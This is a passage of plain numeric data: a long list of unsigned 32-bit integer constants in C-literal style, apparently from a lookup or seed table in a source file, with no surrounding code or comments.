2290602421U, 1236802176U, 4136141284U, 1057861065U, 1471308741U, 212952383U, 439424870U, 477916894U, 1548615345U, 2862876431U, 1152066452U, 366757409U, 165510261U, 3546307801U, 3902370209U, 1435190892U, 2746551418U, 3849203217U, 3072304963U, 3064767332U, 1843702926U, 1695140285U, 1269785456U, 3649168535U, 1812218355U, 2570870587U, 2358292263U, 3858007643U, 1036981823U, 2905295271U, 2525143772U, 3038091200U, 3797954543U, 2691796893U, 3339666992U, 3697818308U, 3406660200U, 3885216857U, 1802080095U, 3143045237U, 2365124404U, 549118654U, 3800215302U, 766309523U, 4246029374U, 3714070394U, 340356937U, 3065550617U, 1951458742U, 1680946871U, 3029989483U, 160610825U, 318319205U, 2670502011U, 2129450302U, 2585405248U, 2722421286U, 1736955645U, 889637808U, 1898448589U, 3403855080U, 2790382233U, 2691154432U, 889217503U, 3110509417U, 665510256U, 3274301580U, 659365528U, 2453244477U, 4260744806U, 2793712943U, 4000550281U, 379304094U, 1023523015U, 2110283520U, 3316795428U, 655047560U, 3363891042U, 3777950768U, 3589480904U, 3267074546U, 2775968129U, 1230863997U, 8816910U, 1187287561U, 114592439U, 185231592U, 1034185171U, 2177427234U, 2163405400U, 3352210961U, 3440656164U, 1603888949U, 3332537175U, 1057994133U, 2907382269U, 191596803U, 1163699326U, 1362875937U, 1980876722U, 1601804005U, 4263329180U, 4086199312U, 2527949225U, 3091045620U, 2316684176U, 2725688298U, 3555622019U, 1585711015U, 1174817859U, 1856061144U, 3807322645U, 4255959907U, 2436050315U, 250725586U, 554506098U, 3672192816U, 2523482569U, 2406948101U, 595917706U, 2053050238U, 1325376781U, 1992137693U, 1846518884U, 3917363492U, 3553014198U, 2021541366U, 1635073492U, 1447420949U, 1343235355U, 1918983608U, 1758881076U, 2369113509U, 266322130U, 1279145845U, 3302356149U, 4075736792U, 3291748493U, 865180353U, 1608800633U, 1134345984U, 3134084539U, 152077712U, 2480482497U, 3195657393U, 1936890388U, 2889630740U, 2301781664U, 4024974541U, 2210139125U, 1256560725U, 4262694196U, 461633025U, 2782999536U, 2457859060U, 2305342654U, 520984398U, 1862903689U, 3665789066U, 3895266865U, 4035283577U, 929553346U, 1350365535U, 769528333U, 1764818912U, 1903158539U, 2294597210U, 2244032118U, 1284184930U, 3171809662U, 1123958636U, 27789748U, 3461904849U, 1023215885U, 2714206026U, 2790519746U, 4276391885U, 305016589U, 919374134U, 207300234U, 1843127467U, 417982253U, 1651949410U, 58826243U, 1040235162U, 3515799110U, 932334269U, 1028955886U, 754068383U, 1760208296U, 665721390U, 3693880727U, 3099490380U, 4243968244U, 3217182675U, 1908516885U, 167769454U, 458543733U, 2550947634U, 2648047665U, 489825386U, 39030945U, 3311557031U, 1442464577U, 1529694231U, 2996676404U, 4192521262U, 3177241385U, 3350747580U, 518677859U, 776512644U, 2405433565U, 902463333U, 427604544U, 3532856602U, 1766175174U, 4016048042U, 3254911638U, 3012190041U, 244459849U, 772350754U, 362759481U, 665515532U, 1996326227U, 2462044284U, 3041192947U, 877627309U, 1051444030U, 1592420754U, 715661443U, 584963202U, 106859113U, 1681992255U, 2971001313U, 3666554859U, 3534533508U, 60091763U, 3261543047U, 3411986189U, 803246198U, 1075484355U, 317009561U, 1781209526U, 3331069287U, 1511692155U, 3439054160U, 850883813U, 1244119946U, 3805286346U, 3067483818U, 3392087771U, 926859335U, 2083284185U, 2038466396U, 1904762510U, 4055722327U, 1830737324U, 4138334173U, 2564370097U, 4156516122U, 3991893441U, 3309766791U, 2230242922U, 3921095603U, 4052076882U, 3589608420U, 2356654057U, 3504842700U, 4003017484U, 3789829344U, 4227572734U, 2400751784U, 2775431092U, 3700430993U, 2673684342U, 3070132583U, 3206046057U, 3825646163U, 1014419865U, 4264556761U, 3676699182U, 2891464423U, 1341221118U, 1619035422U, 3860012104U, 552911812U, 819461901U, 1650558500U, 126050489U, 1252673556U, 1937122423U, 2361261526U, 1324981738U, 3757140648U, 2759814949U, 810203452U, 2878561854U, 567347303U, 2778332838U, 1964231530U, 652798281U, 1936233487U, 2029301771U, 2449299214U, 3806187990U, 1516215703U, 4268034439U, 2552565163U, 2532964320U, 2440063618U, 4010867806U, 4052437232U, 3435432497U, 1254888490U, 3347936633U, 52294296U, 895638305U, 3037095114U, 3949557144U, 3709003188U, 1048859081U, 1499651995U, 1678764744U, 2952288351U, 1668890063U, 3346397025U, 2123279482U, 1903877336U, 179830662U, 2465760713U, 1020565594U, 2548461996U, 1326850626U, 2507455409U, 3072613555U, 2901019710U, 3624634810U, 2079771859U, 2333005753U, 477543475U, 120441902U, 1450311884U, 3561862163U, 143418098U, 1355810765U, 2489069069U, 2525395024U, 1008105544U, 2124103818U, 1021633261U, 1059337550U, 3059667460U, 3930502268U, 3906117534U, 1667300326U, 2179746028U, 3962445527U, 1747185557U, 1074051983U, 3319937714U, 114595038U, 2177859738U, 545793793U, 2506895998U, 368713595U, 810657050U, 4120696122U, 107397435U, 3104024025U, 1996596820U, 2753176514U, 1838354062U, 2463031030U, 1046371061U, 3856583946U, 1877527860U, 2621196491U, 3166099500U, 45461463U, 2812975891U, 2990426066U, 1456753704U, 757857839U, 2605999934U, 1425122193U, 97854097U, 2745285510U, 180553817U, 2379208412U, 853756626U, 4196244110U, 3918369792U, 3340491386U, 110376737U, 2671978482U, 917544869U, 3016914018U, 999185666U, 3001634985U, 1261027889U, 132333947U, 2125846375U, 3072845459U, 3144432178U, 278107783U, 3482027813U, 3815371461U, 3074532024U, 3662598232U, 105756364U, 2159104621U, 2042835846U, 823567955U, 3590363827U, 4254112262U, 2203170602U, 3405380809U, 1069163982U, 348773675U, 3414567217U, 2760315975U, 3832197038U, 2247145333U, 1819035718U, 1248330137U, 1153284666U, 911301809U, 2006887304U, 124978802U, 398307541U, 1200397241U, 2889043780U, 3776852546U, 2873152247U, 2266757114U, 1169283632U, 4137046486U, 646905054U, 875591774U, 3552529522U, 762515344U, 3895682842U, 1941158573U, 3130779898U, 2564270378U, 925165085U, 1355328857U, 108662748U, 1990211990U, 2983308874U, 2543724974U, 1602168400U, 3333278510U, 3701726313U, 764270557U, 3868047932U, 1190942884U, 805010375U, 1546987697U, 3858988730U, 4027009288U, 2247348983U, 2405732813U, 2809070581U, 2644371657U, 2640657695U, 4243993906U, 1698502745U, 2516080279U, 3788737047U, 502293754U, 1122687022U, 1335471236U, 1869224541U, 1829350427U, 3568751491U, 2069366409U, 2560863393U, 2989363683U, 2127452074U, 2581095313U, 679560341U, 1029680431U, 1929823549U, 1453626627U, 1482912718U, 2547346181U, 3485845832U, 2956919282U, 110950035U, 2913577466U, 3414206901U, 3262698902U, 572602304U, 3122932538U, 1135831940U, 2328425604U, 2334246703U, 2235375634U, 3934716352U, 3678997827U, 3193220927U, 3025301035U, 3143894224U, 1452941058U, 3394654481U, 1512656172U, 591996826U, 1287138399U, 1926898290U, 1425122358U, 3726530977U, 1565432771U, 136969970U, 186307658U, 3369332856U, 1964734028U, 675322549U, 4112346384U, 203382161U, 2116855019U, 1509801304U, 2424786171U, 3836822242U, 2406239801U, 559900206U, 2433148543U, 2589050087U, 483880542U, 4217778539U, 189460761U, 2547110372U, 1386488357U, 3967760932U, 2169895220U, 767311606U, 2582629659U, 3629040066U, 1682040039U, 1245674674U, 3827347173U, 1117943099U, 3506701207U, 312605982U, 156491128U, 2654380713U, 2171329355U, 211155109U, 3031900165U, 3953854906U, 1344855403U, 645087702U, 4094686636U, 3486260626U, 1611435383U, 711208135U, 640065810U, 2026087993U, 2346576614U, 3523831494U, 3270305889U, 1584437696U, 3857843680U, 3461870680U, 1739645663U, 121665449U, 966206927U, 2590106149U, 1742498545U, 418319937U, 812302940U, 3363167273U, 2538091823U, 1805073807U, 543021637U, 3028835668U, 712027102U, 3049998164U, 2610014475U, 263253978U, 2268321514U, 3852203261U, 2826889961U, 575899659U, 309215347U, 1353964707U, 206995735U, 871729626U, 1080480898U, 2396892153U, 4235676834U, 3440955580U, 3482309759U, 1686083629U, 1421527038U, 431944991U, 3525078429U, 3185534760U, 2047822678U, 1320102347U, 3140791110U, 4238617355U, 2208602015U, 1881244288U, 33907059U, 4250419172U, 2422943447U, 569360802U, 1206459707U, 2658407714U, 2333880519U, 1488163772U, 211626693U, 1204759464U, 183140959U, 764034580U, 2411102772U, 3388433669U, 3434633963U, 603712602U, 4083120455U, 2098022391U, 4029491890U, 3803558765U, 93987677U, 800370308U, 415475965U, 2909105618U, 865098475U, 49291069U, 2882008128U, 3855658678U, 219887160U, 2097125959U, 3326901232U, 1252665118U, 1134083911U, 342177442U, 1895588595U, 3961909593U, 623230390U, 3997856264U, 2109304889U, 3912214450U, 3016281971U, 1898797240U, 1093131635U, 956706285U, 1629748531U, 146726782U, 110512368U, 977663141U, 3529625620U, 1812404613U, 2855927100U, 151645126U, 1125976182U, 1417975685U, 1401444874U, 3317630582U, 3232043005U, 763545818U, 1330253895U, 1034532201U, 3625814919U, 1414574183U, 839241716U, 2128326532U, 39938150U, 424087667U, 2662453830U, 4029789188U, 3972284474U, 1367831114U, 596502251U, 2580814682U, 2648676336U, 2846012892U, 777332277U, 877114698U, 4286295294U, 3786291915U, 4245547100U, 3249953129U, 3754754640U, 3108713407U, 3108915008U, 887087978U, 957317608U, 1480366817U, 3589519059U, 3621491794U, 1396600278U, 1950811843U, 2423554754U, 2594518944U, 597141514U, 419791740U, 1078337731U, 1409548969U, 1375354134U, 4065070541U, 2186630265U, 1412094152U, 3174171217U, 2141808327U, 3916097465U, 1921927345U, 3658652570U, 2112786451U, 2618359760U, 3587193352U, 774117371U, 1989734017U, 2867141677U, 3875356660U, 1017564079U, 1548907405U, 835787820U, 1227837722U, 3514969313U, 2711747855U, 1429924685U, 90409576U, 837928570U, 3017777274U, 3362777172U, 2834722728U, 1346285485U, 3858757000U, 3477312251U, 2676692168U, 1023013548U, 1860989342U, 2026730003U, 3322504380U, 1332506536U, 788036362U, 354590244U, 21695531U, 1741462550U, 583190385U, 327244032U, 3723372067U, 2565727599U, 1157016624U, 1888399430U, 1645591969U, 2231914704U, 1322632441U, 3175971405U, 1579338283U, 4117351177U, 1179136086U, 2002802108U, 1096569394U, 1608363183U, 754514748U, 4223094561U, 2486779105U, 2227485811U, 2894054665U, 478472726U, 156190492U, 321831818U, 485486148U, 3754815273U, 2105642671U, 1569341897U, 4053706920U, 3116048836U, 239220322U, 1435896448U, 1883939515U, 140354519U, 3850600031U, 1380466542U, 1976761823U, 2528912395U, 2773448588U, 782638137U, 3553942445U, 528133427U, 4127042408U, 3115931239U, 1971440155U, 2784378988U, 29679172U, 2286949097U, 1719463498U, 2414982214U, 3771752783U, 1625293610U, 4021681436U, 351914438U, 1952230723U, 172645565U, 3468013497U, 159205129U, 250823232U, 948562793U, 3025742011U, 2596275394U, 2718788308U, 3121139964U, 1665557622U, 2713506483U, 1791801652U, 3691385409U, 1631108575U, 1724766255U, 3574591637U, 3937280724U, 1228610164U, 363666311U, 306071850U, 2065099943U, 3423586425U, 246369205U, 4118817440U, 1548264189U, 2505455361U, 1667031387U, 4264584455U, 241645860U, 1106207354U, 3519076145U, 1773865667U, 314673742U, 4169898460U, 1223335496U, 3008119679U, 1877602339U, 426708946U, 2761856471U, 2655604030U, 3987173338U, 2502301415U, 1263816438U, 1844254989U, 4029080544U, 3917459813U, 1780633251U, 3321742869U, 2790851040U, 153881044U, 2967098092U, 1283901428U, 2905885803U, 3353506679U, 2351717128U, 368849812U, 2234504743U, 3893373034U, 1106220963U, 2129224302U, 1429546340U, 699795716U, 1493971281U, 759469488U, 3876948931U, 4037766214U, 3651385364U, 4069902629U, 991975397U, 1081457898U, 1877916329U, 2010787940U, 1132408870U, 2482627358U, 3721981379U, 388408096U, 1021249660U, 1159866061U, 1481528486U, 3427306830U, 401223092U, 873569067U, 2745908285U, 4099564249U, 2289371270U, 4154420923U, 4222095942U, 2387479470U, 2534690576U, 1556451628U, 1790861178U, 942928688U, 2038158283U, 420008522U, 1448397250U, 1176892560U, 768957607U, 1276711062U, 4130798377U, 242831104U, 1284336055U, 877558334U, 302666374U, 4156187192U, 3025238193U, 2079742683U, 317614550U, 3453591981U, 540543504U, 3232525802U, 2246878218U, 1810714778U, 3513491236U, 3402612900U, 641363051U, 3889126444U, 615143728U, 150580170U, 656944932U, 1205403007U, 377491059U, 125959443U, 3326415962U, 2148233414U, 3846034356U, 2723006369U, 803035607U, 1018603182U, 448264942U, 4146444452U, 3691291972U, 361093365U, 2623565231U, 526877199U, 4166307868U, 2001007703U, 2026081430U, 194360128U, 1630906033U, 583810752U, 1109065351U, 1092393844U, 3757797199U, 299455185U, 277244996U, 2806244354U, 2149330311U, 131606415U, 3843061093U, 416396509U, 2634489086U, 3491312704U, 3119340104U, 389841049U, 925795249U, 3281704415U, 1799826819U, 1834135278U, 1743017626U, 1197426526U, 2158367232U, 2100739052U, 3774122305U, 2018539538U, 110554482U, 2575977622U, 3604396854U, 1556551380U, 23506520U, 2715211575U, 4127359119U, 69737757U, 1514534741U, 1193358427U, 3751284637U, 164948043U, 3334887389U, 2225345123U, 1879309138U, 3991411032U, 422290095U, 1259939938U, 1097656010U, 3687948036U, 2111249577U, 1822425151U, 369083577U, 1143712377U, 3039940498U, 2143279462U, 2477335497U, 1791625098U, 1937487066U, 3451364803U, 455814628U, 1894946074U, 85029025U, 2287331752U, 3183677132U, 1780964252U, 3107236561U, 4134937459U, 1138969006U, 775648188U, 2645527758U, 128869152U, 3062150429U, 1407651215U, 445770967U, 1735211926U, 327797073U, 2555011427U, 2315911515U, 760280731U, 3593222639U, 3875754074U, 3552922605U, 944909439U, 2633253839U, 2060118377U, 840182897U, 1520498999U, 2781531710U, 2365228491U, 1117944758U, 1631041481U, 3686505962U, 2029740618U, 3531853592U, 2858320457U, 549249821U, 51525185U, 228224660U, 654127685U, 3002304974U, 2888236587U, 2028226220U, 3973950157U, 2460332691U, 248572618U, 1503403674U, 2048747590U, 2875466994U, 2780632633U, 3512214137U, 632806620U, 1779054100U, 624842222U, 1924648848U, 487187622U, 2930802294U, 132714416U, 4165683731U, 3095717639U, 177235847U, 3825776057U, 3981952073U, 1852543455U, 1126107788U, 3926796440U, 978349847U, 2449738701U, 1368624142U, 232609246U, 3586585032U, 2750550779U, 2036112124U, 2026331775U, 1484910443U, 879481831U, 3878148373U, 2491071352U, 3972925171U, 2586240411U, 3045138549U, 219008199U, 4062707383U, 2354033384U, 1032635410U, 2199138680U, 1761144704U, 3683934167U, 2840070996U, 3991369121U, 2539529128U, 1156817510U, 1503765968U, 3293008415U, 2586590294U, 3758993992U, 3437758038U, 3850092091U, 1458625939U, 146977725U, 4152939215U, 1364513118U, 3704748880U, 18480383U, 1860690384U, 669895423U, 3895508992U, 4218959369U, 3277640182U, 4070819519U, 1937116129U, 1458100624U, 2942512301U, 2000188774U, 264770648U, 4267273223U, 1385402302U, 4172194809U, 3575277011U, 3582745123U, 252760456U, 2293893927U, 655217723U, 2844455318U, 2981632464U, 1016205874U, 2675700989U, 3974341427U, 2441702993U, 317630377U, 1152187977U, 2917887873U, 1903294442U, 3873111809U, 3922986615U, 3766741764U, 229030013U, 412597349U, 31225706U, 3163956331U, 21631415U, 3525923653U, 1087110565U, 2935198769U, 2259229737U, 3499167749U, 2369697216U, 805933564U, 724529239U, 590473070U, 2609609383U, 3996863690U, 31391258U, 649654346U, 2506742873U, 469822664U, 3265668518U, 853200717U, 3823888270U, 4282463994U, 4221900055U, 3567625046U, 165661063U, 3202360854U, 2963340074U, 851919784U, 3974727101U, 2444405889U, 1632406279U, 2102496321U, 3331842487U, 3523666962U, 3504499543U, 3366593491U, 2591142615U, 600344175U, 3374701250U, 355545489U, 1537650095U, 625874963U, 1277824514U, 1610792959U, 1483471647U, 4031054925U, 296902732U, 2166868855U, 1744856281U, 1617463662U, 2210963290U, 1095666141U, 2702106682U, 2612338308U, 1460808179U, 3353647815U, 586761909U, 2389868947U, 2264006891U, 1225190077U, 1879924320U, 1110524224U, 381252572U, 1712641578U, 26302230U, 248328115U, 2117011895U, 1819781257U, 3470835252U, 1684298163U, 2511500040U, 814961339U, 66860557U, 661086259U, 4024492993U, 3948365826U, 3289805043U, 3324776177U, 567974708U, 3665861931U, 3276951450U, 192083792U, 1840470207U, 2635440605U, 2241198374U, 588352943U, 53222353U, 3816815812U, 570491425U, 433698597U, 1479259606U, 1241947086U, 2631162000U, 1069342064U, 3589042438U, 3614198253U, 1259187732U, 3573333289U, 1608042544U, 3363646345U, 1814643003U, 3499967618U, 1380757294U, 3567324659U, 2767036467U, 1184859043U, 3418839399U, 3203389981U, 2049837716U, 450906080U, 1109445646U, 501310035U, 100792309U, 1866455073U, 471155227U, 2740848734U, 453010885U, 304793682U, 2223974354U, 3415745674U, 3716229735U, 3458762328U, 857169695U, 2826894569U, 2683660810U, 3411593616U, 3660072331U, 857023225U, 1402364549U, 4038883526U, 1948838904U, 83163319U, 3218690552U, 3532035486U, 3268290583U, 3694059339U, 3317472647U, 1140946741U, 805704610U, 258802117U, 2407405212U, 1476850697U, 1287328156U, 1496473203U, 1189269094U, 3035062671U, 1137716100U, 4079256327U, 1048657787U, 1610979663U, 2427533509U, 3907171103U, 3126282312U, 2312637060U, 346836631U, 3015899044U, 2025644354U, 3286068215U, 3474561055U, 2369242625U, 189136866U, 2643372999U, 668401897U, 3062906807U, 1177625599U, 2597476028U, 3653639129U, 2529198547U, 716835726U, 2420574284U, 460281376U, 3667621396U, 206524071U, 1099010230U, 2687917357U, 3952988960U, 3850447859U, 2661665240U, 1379254595U, 2145963442U, 3696630873U, 3865730091U, 2661886904U, 1915451555U, 2184131928U, 2997722011U, 2413308620U, 876209692U, 3259566078U, 1708738250U, 1798802253U, 439372859U, 1110108484U, 1287046229U, 2141914360U, 2119870053U, 4049537423U, 4113661721U, 909385427U, 3654914896U, 2513209939U, 2288925798U, 2865265104U, 370521935U, 995448278U, 3742042040U, 1768011008U, 3143953105U, 2626603525U, 3315649841U, 3677100481U, 3256029486U, 2018863520U, 487224563U, 502704850U, 2074146566U, 163186631U, 636840532U, 2892688121U, 2399612987U, 1404388317U, 212026167U, 53337794U, 3971731015U, 1771264032U, 3346997387U, 494625791U, 1640847828U, 2893710607U, 4095399249U, 3102813400U, 3221403690U, 1530641997U, 2938485650U, 1727874448U, 3440292629U, 1664115081U, 273545085U, 1457472748U, 1593995451U, 3187718039U, 1210097114U, 2214649404U, 3632238709U, 521769752U, 263169182U, 176456204U, 541513650U, 1367793005U, 2224341904U, 109944822U, 2849757326U, 3959820250U, 992920490U, 2541413285U, 2292398922U, 4269686684U, 1941121684U, 2155988243U, 953982682U, 3378499911U, 359762047U, 3980085156U, 2906496752U, 793032678U, 3370081036U, 3555963867U, 4235510253U, 1172386482U, 3732473258U, 131958178U, 1127919431U, 2684121223U, 2072554976U, 1333427683U, 28680848U, 2138081353U, 3520964131U, 1462155182U, 647368179U, 3281477022U, 1702177119U, 2357986466U, 2525091516U, 3188851712U, 2390437164U, 3262513257U, 3729136720U, 3332903229U, 3411088531U, 370759499U, 1954989525U, 3370661623U, 4170980304U, 3927547618U, 2708466973U, 1040499123U, 3527826171U, 1869844482U, 2029013632U, 4247115609U, 2627980388U, 2700689093U, 630921780U, 2699844505U, 446960797U, 3620729539U, 4002237962U, 3489331286U, 277285666U, 3456191925U, 15457351U, 1202902166U, 3048607553U, 1191475806U, 1934002238U, 1950708737U, 1608416152U, 3644174751U, 2907601009U, 3649217288U, 3877239819U, 2468665413U, 3420860784U, 1131977180U, 1054377193U, 3935216874U, 679710912U, 1014712301U, 3262296053U, 1220002471U, 4074939975U, 598136792U, 744027853U, 2360930373U, 1719459264U, 3635939455U, 2151792691U, 1001824165U, 3014556969U, 2674737909U, 273182657U, 1423051647U, 292974361U, 1358752337U, 1731086771U, 3996657825U, 2300218160U, 3184046404U, 3756915564U, 972484827U, 1520947125U, 2614508146U, 959035831U, 742866110U, 3562898998U, 3820426843U, 3254156734U, 1414194313U, 1051013776U, 3253554809U, 2747177780U, 470893864U, 2246770653U, 986809328U, 65830436U, 3703257340U, 214260658U, 2016781370U, 1684828308U, 3634313704U, 272509751U, 745597271U, 2740032569U, 4143415696U, 1784014831U, 1205197954U, 1344874753U, 31156159U, 3532364002U, 2914053502U, 3785970695U, 2345996924U, 2338847134U, 1238771385U, 4098756386U, 4063514301U, 3025298220U, 3525882863U, 2848325216U, 3731120071U, 1622829275U, 2155020188U, 1807686441U, 291104061U, 2415549406U, 3049721919U, 3591129920U, 1814150500U, 1350283952U, 3219454712U, 493916589U, 1859546848U, 604904888U, 2612760867U, 3538977090U, 4122589480U, 955280792U, 3100111188U, 587194634U, 3215219848U, 3701247694U, 4273347745U, 2264243036U, 906842904U, 3062141912U, 4289785213U, 393946676U, 2341365649U, 3901431032U, 2658734715U, 1716468579U, 23648087U, 3208854290U, 325968134U, 292834931U, 2178749356U, 2420635871U, 4117402048U, 729896480U, 3596269066U, 2901716942U, 1661855978U, 3710311091U, 3435329460U, 280211222U, 1364849751U, 1176404889U, 3434638083U, 3159541589U, 3006022563U, 1947948U, 2176405941U, 277993813U, 3643818627U, 1467598456U, 1799532802U, 1444195811U, 1557214557U, 726704106U, 3262364230U, 3063209908U, 3016421570U, 1299275373U, 4093289313U, 3915933424U, 3928338527U, 255203359U, 1487360021U, 1333020077U, 764532046U, 4061717648U, 2891204158U, 4252849186U, 857265436U, 370697929U, 1667010969U, 1310165565U, 3670318137U, 2333262435U, 3019121450U, 2873259420U, 3650908935U, 2767318742U, 3622078511U, 234062220U, 4009295111U, 1650109862U, 350403827U, 653742017U, 3897422653U, 1369428685U, 3688125947U, 3448436688U, 4099488769U, 528572131U, 1798887281U, 593572144U, 1513759456U, 1656185602U, 1601778489U, 437648196U, 1820444490U, 3441272709U, 2021193905U, 3590281290U, 2786699736U, 254226808U, 3151875439U, 1527722263U, 1168850226U, 3363413200U, 3383805854U, 1519945631U, 3782212786U, 1174747589U, 2584584062U, 4235160328U, 2988909988U, 1045942705U, 1117103663U, 3092394002U, 2846602276U, 935983868U, 2556917560U, 2062349791U, 416614825U, 2252668468U, 3373212622U, 4094831047U, 3533679129U, 3553683088U, 1276813998U, 684660671U, 4231033027U, 2610580567U, 3144882346U, 2347058431U, 678106548U, 2149927539U, 1634841757U, 1117657565U, 723026710U, 3519717915U, 3965258029U, 250385649U, 4051935178U, 250728346U, 4065956677U, 3134994365U, 2794711440U, 911190785U, 854293817U, 2722606233U, 4213225984U, 3943627265U, 1072321517U, 1354562503U, 1753447347U, 2089738610U, 804614908U, 2181662535U, 2844290201U, 3933866361U, 3920288726U, 1534440869U, 1192877990U, 2984777402U, 788149672U, 3880413585U, 797078196U, 3614226514U, 515348330U, 3382723116U, 2586259164U, 4230049862U, 2549448621U, 921359894U, 1218241348U, 2277000260U, 1992806584U, 2945684560U, 3797526704U, 412361883U, 2909981411U, 2615280177U, 2177598982U, 207348291U, 3210682247U, 2153620368U, 578334307U, 2628273857U, 616389899U, 3420707637U, 996820431U, 2721031312U, 2772860950U, 3417421636U, 1604830392U, 3147496209U, 3552998866U, 2733637685U, 3727018801U, 550366245U, 4269668399U, 1576079745U, 1865352738U, 3517758736U, 1554967642U, 3639960136U, 2524220450U, 1801257235U, 1875193554U, 1940356372U, 3182809784U, 393701932U, 3357517047U, 194054102U, 1337027219U, 2004042267U, 3361514706U, 974354725U, 101329553U, 810373303U, 3995281616U, 3931954847U, 719201857U, 1158355276U, 2960068795U, 4057803691U, 3093461793U, 2180184576U, 3720819441U, 3846860394U, 2898285821U, 2636005107U, 3972879875U, 1308329214U, 873059991U, 3666910789U, 2482563701U, 2552984769U, 3990031316U, 1891927463U, 1278478073U, 3446258545U, 3078332804U, 1652636547U, 2687096215U, 3035193526U, 172087633U, 3274300442U, 3387658704U, 4243072403U, 3241162298U, 461236875U, 2237247627U, 229724224U, 240135139U, 2234134251U, 4149860033U, 3487158907U, 2335271431U, 972705083U, 2284259082U, 3545650249U, 4071137079U, 3363804876U, 2569365152U, 2350578313U, 1758958737U, 422869603U, 3534536806U, 2823658657U, 1577613839U, 4286869542U, 637685758U, 3536224120U, 1483622353U, 2414740322U, 3967286691U, 366238655U, 2916759128U, 3995696054U, 3797395431U, 3398747675U, 75178482U, 3063101086U, 2088576550U, 668080138U, 1214525663U, 2694672544U, 1172035259U, 3908463728U, 3266328923U, 2479913853U, 519588044U, 1564344457U, 3455506847U, 3306399504U, 986828613U, 3905802145U, 4006260127U, 3113784544U, 2184993096U, 3699340000U, 3750882009U, 1996287873U, 3026327154U, 2227879409U, 1319798455U, 472741989U, 2045767867U, 447129650U, 2711163860U, 4032109493U, 112351774U, 3114389120U, 401679871U, 3728669892U, 2322163188U, 3597625130U, 915623579U, 1107933487U, 20499748U, 3021422965U, 2596174276U, 3690111974U, 3548239222U, 1849624556U, 1914247580U, 482266259U, 3945750093U, 2106790947U, 18693818U, 2373260629U, 1106995843U, 2765334286U, 3559590981U, 1540851836U, 2392520107U, 477612097U, 2526757948U, 474456816U, 1355533397U, 395465598U, 247074108U, 313656679U, 416249972U, 3414195679U, 2147386380U, 3496766215U, 759296860U, 937330640U, 1477980400U, 1515349610U, 1818648096U, 195307338U, 3579432504U, 3521218775U, 1173903633U, 1972255116U, 849000379U, 4011602504U, 3205386357U, 1229668671U, 4189305804U, 3692381218U, 3248693000U, 3585773880U, 4139627111U, 3665463379U, 4144432738U, 3077994525U, 1883722687U, 2214211773U, 1746832149U, 1419060533U, 4034013461U, 2073386373U, 315068227U, 4246163495U, 2323686042U, 3545449278U, 727997520U, 3786568819U, 1690771516U, 4130970301U, 2135227225U, 2252970912U, 161958558U, 3774746854U, 2418364861U, 1608074406U, 279926100U, 3270271838U, 2772411609U, 480382302U, 3877388057U, 3678278459U, 2798932442U, 1745191471U, 3072412277U, 132602714U, 1278046532U, 1297789267U, 1564353461U, 3283664390U, 1073397486U, 3478594493U, 1638360754U, 3445433173U, 485745773U, 1282743561U, 3679968686U, 2542887207U, 2051463018U, 1680410169U, 1049831904U, 372770135U, 1166110578U, 977955216U, 974219420U, 2182383495U, 3413599296U, 895855367U, 2131041515U, 2459743802U, 1942107744U, 3186364578U, 3862884609U, 3770674887U, 2239417209U, 310951172U, 4196553077U, 3309850189U, 4044389700U, 1913170151U, 1117342712U, 317785657U, 1361301192U, 4010984536U, 1747045252U, 3294133322U, 4093431004U, 2567216014U, 2598695980U, 2643613562U, 1225396757U, 4150932185U, 1568983605U, 2710150239U, 919653444U, 1160569797U, 2284419210U, 1886652413U, 1849458049U, 362204305U, 1088445223U, 3131401050U, 1780880574U, 3607843997U, 2723844091U, 578251686U, 1185189502U, 3875731350U, 955457070U, 1787824034U, 2936908639U, 1738828597U, 2394864886U, 19267956U, 3973451015U, 2229566937U, 3869904664U, 293868122U, 1622437185U, 1506278794U, 2365813911U, 1245233574U, 768087538U, 3789007554U, 4250993794U, 1552535999U, 1784464859U, 572291370U, 4239650264U, 1163221912U, 1364885120U, 2113098559U, 952275145U, 1739342029U, 559032643U, 1414305994U, 3340299440U, 430245565U, 1309537030U, 439934140U, 2757259251U, 2927176667U, 16605251U, 1994539135U, 1656692883U, 3269085381U, 3936186839U, 2023943789U, 185311597U, 4292066774U, 1723333625U, 1670285754U, 3273756661U, 1885468780U, 3278371845U, 2642365874U, 1611966011U, 2648610330U, 1497628792U, 858965319U, 1885690281U, 3712312121U, 1561894941U, 60044656U, 2599810820U, 397154683U, 997492222U, 303518037U, 1576890024U, 2726830924U, 1187802713U, 4286664443U, 3527175359U, 3003119090U, 3377539738U, 4300912U, 1084144561U, 3384230865U, 470606082U, 1412668985U, 3018385167U, 1864306792U, 3684518327U, 3828187095U, 2383017380U, 1997974624U, 2005937795U, 1892499643U, 3794040184U, 2141574528U, 2663573001U, 2016867250U, 1150974536U, 2747196243U, 1682425321U, 36164767U, 2655229520U, 1218366368U, 4188471760U, 2143378096U, 2825535546U, 4023822234U, 1202265508U, 3613522270U, 2658086797U, 3233925468U, 2130355181U, 3734779278U, 561922087U, 103062828U, 3137041223U, 488601718U, 101657282U, 576989662U, 1870880614U, 3416152484U, 2770945076U, 486825194U, 922460482U, 2161969083U, 2931210054U, 3457343749U, 3094564759U, 2480937887U, 2936228195U, 3697162054U, 2176834761U, 3331011738U, 4097960842U, 673121667U, 3658524532U, 1384640544U, 2957825084U, 2225350029U, 4048133279U, 439432014U, 424754351U, 3031316376U, 1784751947U, 761018466U, 3273040000U, 674498269U, 1015806636U, 1779755633U, 1649441615U, 3979542953U, 3115415997U, 4160092318U, 2492832398U, 3680043256U, 3533099215U, 3242899533U, 804604142U, 458260829U, 1083418703U, 2841742796U, 1037676750U, 2915803693U, 2969964094U, 2154544350U, 1844721067U, 1862975140U, 2333928478U, 2166371846U, 2452659340U, 2261502947U, 3177314616U, 1671198788U, 857706542U, 2018189184U, 1929293559U, 2901607677U, 3498038833U, 309215710U, 1837333988U, 859610217U, 2938210496U, 2581225162U, 399837733U, 3656849969U, 432563310U, 161648995U, 2934091667U, 3637898067U, 259080651U, 1652486356U, 2319006716U, 1406015391U, 4093982242U, 183388955U, 365266594U, 3092642639U, 2773023269U, 2007647321U, 3390160819U, 3771963506U, 385274745U, 514717229U, 3563609600U, 273281351U, 4004752061U, 3280442331U, 3167458697U, 524939682U, 1032832769U, 1031018351U, 1470309191U, 2734610863U, 344523751U, 86755347U, 3762630563U, 2798275715U, 1398642844U, 4135154295U, 1077736242U, 2370689143U, 3606758556U, 2285894599U, 519581050U, 1871849178U, 108379396U, 2453220728U, 2525817716U, 1209374591U, 1727076280U, 2611029572U, 1054133420U, 3844642867U, 550807478U, 3879369365U, 3152443708U, 3049641125U, 3639718877U, 646237285U, 228759924U, 1756918018U, 3858921019U, 2969773101U, 1486984149U, 